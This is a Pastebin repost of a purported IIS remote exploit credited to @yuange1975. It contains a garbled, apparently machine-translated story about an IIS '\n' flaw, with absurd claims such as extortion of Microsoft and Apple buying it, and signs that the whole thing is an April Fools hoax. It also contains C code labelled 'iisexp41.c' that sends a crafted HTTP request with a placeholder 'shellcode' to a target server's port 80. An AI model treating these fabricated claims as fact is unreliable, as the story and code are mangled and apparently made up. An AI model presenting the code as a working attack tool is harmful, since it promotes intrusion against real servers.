Dr_FarFar

[+] IIS Remote Exploit Code Discovered | @yuange1975

Apr 9th, 2014
513
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ###################################################################################################
  23.  
  24. IIS Remote Exploit code discovered
  25.  
  26. IIS discovered remotely exploitable code. APT Microsoft headquarters yesterday found to be scored,
  27. Microsoft engineers convened AN emergency overnight analysis,
  28. general manager OF Microsoft's Trustworthy Computing division,
  29. according to John revealed that hackers might be a means OF Microsoft's IIS server scored,
  30. the analysis may take advantage OF the "\ n" string vulnerabilities. Microsoft released AN emergency notice,
  31. please turn off all administrators wait for Microsoft to fix the IIS server.
  32. Microsoft also revealed IN private, Microsoft's software download server patch server is also being attacked,
  33. Microsoft engineers have considered installing their latest operating system, YU, Xiao Bian
  34. also proposed to delete recently upgraded online to download a patch or Microsoft operating systems.
  35. Microsoft's firewall department notified all firewall add rule filter "\ n".
  36. According to the latest FBI informant news, Microsoft HAS received a $ 50,000 extortion calls,
  37. if Microsoft does NOT agree, the hacker will publish the source code for all Microsoft products.
  38. Emergency call Mr. Bill Gates OF Microsoft headquarters IN the former president,
  39. consulting whether to enable the fund installments Bill Gates,
  40. extorted large sums OF money to meet the requirements OF hackers.
  41. According to the latest news, Apple's headquarters HAS received calls Bill Gates,
  42. Apple's headquarters is being held AN emergency meeting OF the Board to discuss whether to use Apple's
  43. reserve funds acquired by Microsoft.
  44. According to Microsoft engineers @ qianruzhe revealed the presence OF more THAN a decade HAS analyzed
  45. Department OF Information forgery vulnerabilities caused by buffer overflow,
  46. IIS error handling equation "a = b \ nc = d" IN "\ n" character,
  47. get a = d After the hacker CAN forge any equation to calculate cpu crash overflow.
  48. Microsoft vulnerability urgent bulletin "Exploitability Index" is the most dangerous one,
  49. the relevant information is also suspected to have been leaked mapp partner,
  50. attacked the program may occur during the day, Reuters reported vulnerabilities ready for your latest news.
  51. General manager OF Microsoft's Trustworthy Computing @ JohnLaTwC HAS expressed concern the latest developments OF this event,
  52. but unfortunately John was a great effort gateway ON the outside, CAN NOT access Sina Weibo,
  53. CAN only helplessly attention ON twitter @ yuange75 , expect me to point message forwarding IN the past.
  54. Network discovered exploit code is NOT complete, http://t.cn/zOSYPAm .
  55. Though they really true or false.
  56.       Cheated to please raise their hands, since that did NOT cheated to please raise your hands! @ Caoz @ tombkeeper headlines @ @ billgates @ legendary WTA police @ dm557 @ benjurry @ Fenng @ Fang Qiangqiang I Laodu Wu Frankie @ @ U.S. Embassy @ unfortunately silent
  57.      
  58.        Engage IN security is to learn to become a BIG liar, when everyone is when you cheat you grasp the nature OF the security.
  59.  
  60. ###################################################################################################
  61.  
  62.   Attack code:
  63.    
  64. / *
  65. iisexp41.c ver4.1 Copy By @ yuange1975
  66. Though they really true or false.
  67.  
  68. * /
  69. # Include <stdio.h>
  70. # Include <stdlib.h>
  71. # Include <winsock2.h>
  72. # Include <windows.h>
  73. # Include <mswsock.h>
  74. # Include <wsnwlink.h>
  75. # Include <ws2tcpip.h>
  76. # Include <process.h> / * _beginthread, _endthread * /
  77. # Include <errno.h>
  78. # Include <io.h>
  79. # Include <conio.h>
  80. # Pragma comment (lib, "ws2_32")
  81. # Pragma comment (lib, "Mswsock")
  82. char * AprilFoolsDay = ". GET / AprilFools'Day php HTTP/1.1 \ r \ nHOST: weibo.com/yuange1975 \ r \ na = b \ nc: shellcode \ r \ n \ r \ n";
  83. static unsigned int maybe_lookup_host (char * name)
  84. {
  85. unsigned long ulAddr = INADDR_NONE;
  86. / * Don't bother resolving raw IP addresses, naturally. * /
  87. ulAddr = inet_addr ((char *) name);
  88. if (ulAddr! = INADDR_NONE && ulAddr! = INADDR_ANY)
  89. return (unsigned int) ulAddr;
  90. return 0;
  91. }
  92. int do_exp (char * hostname, unsigned int port)
  93. {
  94. SOCKET hScoket = INVALID_SOCKET;
  95. struct sockaddr_in sin;
  96. unsigned int addr = 0;
  97. int write_res = 0;
  98. char * crash_buf = NULL;
  99. int crash_buflen = 0;
  100. / *
  101. create SOCKET
  102. * /
  103. hScoket = WSASocket (AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 / * WSA_FLAG_OVERLAPPED * /);
  104. if (hScoket == INVALID_SOCKET) {
  105. printf_s ("WSASocket function failed with error =% d \ n", WSAGetLastError ());
  106. return -1;
  107. }
  108. / * Resolved IP address * /
  109. addr = maybe_lookup_host (hostname);
  110. sin.sin_family = AF_INET;
  111. sin.sin_port = htons (port);
  112. memcpy (& sin.sin_addr, & addr, 4);
  113. / *
  114. connect
  115. * /
  116. if (connect (hScoket, (struct sockaddr *) & sin, sizeof (struct sockaddr_in)) == SOCKET_ERROR) {
  117. if (WSAEWOULDBLOCK! = WSAGetLastError ()) {
  118. closesocket (hScoket);
  119. printf_s ("connect function failed with error:% ld \ n", WSAGetLastError ());
  120. return -1;
  121. }
  122. }
  123.  
  124. printf ("[*] connected to% s:% d \ n", hostname, port);
  125.  
  126. / / Build_crash_package (& crash_buf, & crash_buflen);
  127. crash_buf = AprilFoolsDay;
  128. crash_buflen = strlen (AprilFoolsDay);
  129.  
  130. / *
  131. send data to remote target
  132. * /
  133. write_res = send (hScoket,
  134. crash_buf,
  135. crash_buflen,
  136. 0);
  137.  
  138.  
  139. printf ("[*] send% d bytes \ n", write_res);
  140.  
  141. closesocket (hScoket);
  142. return 0;
  143. }
  144. int main (int argc, const char ** argv)
  145. {
  146. int iResult;
  147. int count = 0;
  148. char * target_ip = (char *) argv [1];
  149. WSADATA wsaData;
  150. if (target_ip |! | argc <2) {
  151. printf_s ("usage: <target_ip> \ n");
  152. return 0;
  153. }
  154.  
  155.  
  156. / * Initialize Winsock * /
  157. iResult = WSAStartup (MAKEWORD (2, 2), & wsaData);
  158. if (iResult! = 0) {
  159. printf_s ("WSAStartup failed:% d \ n", iResult);
  160. return -1;
  161. }
  162. do_exp (target_ip, 80);
  163.  
  164. / * Clean - win socket * /
  165. WSACleanup ();
  166. return 0;
  167. }
  168.  
  169.  
  170. ########################################################################################################################
  171.  
  172.         https://www.facebook.com/Dr.FarFar
  173.         http://Dr-FarFar.BlogSpot.com/
  174.  
  175.         ________         __________                __________                
  176.         ___  __ \___________  ____/______ ____________  ____/______ _________
  177.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  178.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  179.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  180.                                                                              
  181.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment